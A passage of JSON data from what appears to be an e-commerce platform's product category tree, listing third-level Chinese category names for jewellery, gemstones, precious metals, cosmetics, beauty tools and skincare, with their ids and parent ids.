ndustry_status":2,"extra":null,"is_get_child":false},{"id":23583,"name":"耳饰","parent_cid":20402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23585,"name":"颈饰","parent_cid":20402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23582,"name":"手饰","parent_cid":20402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23584,"name":"胸饰","parent_cid":20402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23581,"name":"其他","parent_cid":20402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23855,"name":"碧玺","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23863,"name":"橄榄石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23859,"name":"锆石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23867,"name":"红宝石/蓝宝石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23861,"name":"尖晶石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23870,"name":"金绿宝石/金绿猫眼","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33310,"name":"绿柱石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23865,"name":"坦桑石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23868,"name":"天然水晶","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33311,"name":"托帕石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23858,"name":"萤石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23862,"name":"长石族","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33312,"name":"长石族","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23866,"name":"紫牙乌/石榴石","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23864,"name":"祖母绿","parent_cid":20442,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23871,"name":"其他彩色宝石","parent_cid":20442,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23503,"name":"耳饰","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23505,"name":"脚饰","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23506,"name":"颈饰","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23502,"name":"手饰","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23504,"name":"胸饰","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23501,"name":"其他","parent_cid":20384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34404,"name":"铂金镶嵌人工/处理宝石","parent_cid":20441,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23877,"name":"合成(处理)钻石耳饰","parent_cid":20441,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23878,"name":"合成(处理)钻石颈饰","parent_cid":20441,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23876,"name":"合成(处理)钻石手饰","parent_cid":20441,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23872,"name":"k金镶嵌人工/处理宝石","parent_cid":20441,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23831,"name":"投资金","parent_cid":33810,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23577,"name":"投资银","parent_cid":33810,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23554,"name":"耳饰","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23556,"name":"脚饰","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23557,"name":"颈饰","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23553,"name":"手饰","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23555,"name":"胸饰","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23552,"name":"其他","parent_cid":20400,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23568,"name":"淡水珍珠","parent_cid":20398,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23567,"name":"海水珍珠","parent_cid":20398,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23535,"name":"其他","parent_cid":20398,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23739,"name":"耳饰","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23737,"name":"戒托","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23742,"name":"颈饰","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23741,"name":"裸钻","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23738,"name":"手饰","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23740,"name":"胸饰","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23736,"name":"其他","parent_cid":20431,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23745,"name":"耳饰","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33808,"name":"黄金工艺品","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23747,"name":"脚饰","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23748,"name":"颈饰","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23744,"name":"手饰","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23746,"name":"胸饰","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33809,"name":"转运珠","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23743,"name":"其他","parent_cid":20432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24866,"name":"彩妆盘","parent_cid":20568,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24874,"name":"彩妆套装","parent_cid":20568,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24863,"name":"唇笔/唇线笔","parent_cid":20567,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24861,"name":"唇彩/唇蜜/唇釉","parent_cid":20567,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24855,"name":"有色唇膏/口红","parent_cid":20567,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25013,"name":"电动瘦腿带/美腿仪","parent_cid":20666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25021,"name":"电动塑身按摩仪","parent_cid":20666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25020,"name":"美体瘦身配件","parent_cid":20666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32372,"name":"女士脱毛/剃毛工具","parent_cid":20666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25019,"name":"其他器材配件","parent_cid":20666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25143,"name":"DIY面膜工具","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24864,"name":"化妆/美容工具","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24872,"name":"化妆包/刷包","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24869,"name":"化妆棉","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24891,"name":"化妆套刷","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24867,"name":"假睫毛","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24900,"name":"假睫毛辅助工具","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24895,"name":"假睫毛胶水","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32371,"name":"睫毛卷翘工具","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33855,"name":"美妆蛋/化妆海绵","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33858,"name":"面膜碗","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24856,"name":"面扑/粉扑","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24850,"name":"镊子","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24896,"name":"双眼皮胶水","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24892,"name":"双眼皮贴","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24868,"name":"洗脸刷/化妆刷","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32391,"name":"修眉刀","parent_cid":20572,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24846,"name":"BB霜","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24847,"name":"CC霜","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24893,"name":"定妆喷雾","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24852,"name":"粉饼","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24871,"name":"粉底液/膏","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24854,"name":"高光","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24860,"name":"隔离/妆前","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24859,"name":"蜜粉/散粉","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24851,"name":"气垫","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24858,"name":"腮红/胭脂","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24870,"name":"素颜霜","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24857,"name":"修容/阴影","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24853,"name":"遮瑕","parent_cid":20574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25061,"name":"洁面仪","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32390,"name":"毛孔清洁工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32392,"name":"美容工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32373,"name":"美容修剪工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32374,"name":"美眼工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25063,"name":"面部塑形按摩工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25055,"name":"瘦脸机/瘦脸工具","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33856,"name":"吸油纸","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33857,"name":"压缩面膜/面膜纸","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25064,"name":"其它面部美容工具配件","parent_cid":20673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24865,"name":"男士BB霜","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24899,"name":"男士彩妆套装","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24884,"name":"男士粉饼","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24883,"name":"男士粉底","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24889,"name":"男士高光","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24897,"name":"男士隔离/妆前","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24898,"name":"男士睫毛膏/睫毛底膏","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24880,"name":"男士眉笔/眉粉/眉膏","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24886,"name":"男士蜜粉/散粉","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24885,"name":"男士腮红","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24882,"name":"男士眼线","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24881,"name":"男士眼影","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24888,"name":"男士阴影/修容","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24879,"name":"男士有色唇膏/口红","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24887,"name":"男士遮瑕","parent_cid":20570,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34408,"name":"试香工具","parent_cid":20562,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34451,"name":"香膏","parent_cid":20562,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34450,"name":"香水","parent_cid":20562,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24875,"name":"香水套装","parent_cid":20562,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24873,"name":"睫毛膏/睫毛底膏","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24862,"name":"眉笔/眉粉/眉膏","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24894,"name":"眉毛雨衣","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34068,"name":"卧蚕笔","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24849,"name":"眼线","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24848,"name":"眼影","parent_cid":20571,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25011,"name":"护理美甲器","parent_cid":20565,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24845,"name":"美甲工具","parent_cid":20565,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24844,"name":"指甲油/指甲贴","parent_cid":20565,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33854,"name":"其他美甲产品","parent_cid":20565,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25009,"name":"脱毛仪","parent_cid":32668,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25060,"name":"鼻梁增高器","parent_cid":32667,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25057,"name":"电子美容仪","parent_cid":32667,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33357,"name":"黑头仪","parent_cid":32667,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25058,"name":"睫毛卷翘器","parent_cid":32667,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25062,"name":"美容喷雾机/蒸脸器","parent_cid":32667,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27412,"name":"唇部护理套装","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27283,"name":"唇部精华","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27282,"name":"唇部磨砂","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26999,"name":"唇膜","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27284,"name":"润唇啫喱","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27141,"name":"有色润唇膏","parent_cid":21324,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26313,"name":"防晒喷雾","parent_cid":21006,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26243,"name":"防晒霜","parent_cid":21006,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26151,"name":"其他","parent_cid":21006,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21177,"name":"美容护肤便携装","parent_cid":33608,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33609,"name":"美容护肤体验装","parent_cid":33608,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33358,"name":"生活美容服务实体卡券","parent_cid":21327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27421,"name":"生活美容服务虚拟卡券","parent_cid":21327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27022,"name":"安瓶/原液","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33859,"name":"法令纹贴/膜","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27296,"name":"粉状精华","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27165,"name":"化妆水/爽肤水","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27174,"name":"洁面皂/洁面产品","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27353,"name":"面部按摩霜","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27422,"name":"面部护理套装","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27307,"name":"面部精油/纯露","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27316,"name":"面部磨砂/去角质","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34069,"name":"面颈一体/挂耳式颈膜","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27003,"name":"喷雾","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27021,"name":"乳液/面霜","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27321,"name":"贴片面膜/涂抹面膜","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27166,"name":"卸妆巾/卸妆棉","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27172,"name":"卸妆油/卸妆水/卸妆啫喱","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27295,"name":"液态精华","parent_cid":21328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27294,"name":"男士鼻贴","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27413,"name":"男士唇部精华","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27435,"name":"男士唇部磨砂膏","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27285,"name":"男士唇膜","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27416,"name":"男士防晒","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27414,"name":"男士护理套装","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27287,"name":"男士洁面","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27290,"name":"男士精油","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27418,"name":"男士面部精华","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27437,"name":"男士面部磨砂膏","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27417,"name":"男士面部乳霜","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27291,"name":"男士面膜","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27286,"name":"男士喷雾","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27350,"name":"男士润唇膏","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27351,"name":"男士爽肤水","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27352,"name":"男士须后水","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27415,"name":"男士眼部精华","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27436,"name":"男士眼部美容胶","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27288,"name":"男士眼膜","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27289,"name":"男士眼霜","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27317,"name":"剃须啫喱/剃须膏/剃须泡","parent_cid":21325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26048,"name":"鼻膜","parent_cid":20916,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26047,"name":"鼻贴","parent_cid":20916,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26049,"name":"黑头导出液","parent_cid":20916,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26046,"name":"T区护理套装","parent_cid":20916,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27420,"name":"眼部护理精华","parent_cid":21326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27419,"name":"眼部护理套装","parent_cid":21326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27020,"name":"眼胶/啫喱","parent_cid":21326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27000,"name":"眼膜","parent_cid":21326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27001,"name":"眼霜","parent_cid":21326,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33363,"name":"胶原蛋白敷料","parent_cid":32663,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33364,"name":"透明质酸敷料","parent_cid":32663,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33361,"name":"其他敷料","parent_cid":32663,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27358,"name":"美发沙龙服务","parent_cid":21190,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27023,"name":"发圈/发网/发带","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26928,"name":"发贴","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27043,"name":"化妆镜","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27146,"name":"卷发棒/球","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25175,"name":"焗油耳罩","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25172,"name":"焗油帽子","parent_cid":21191,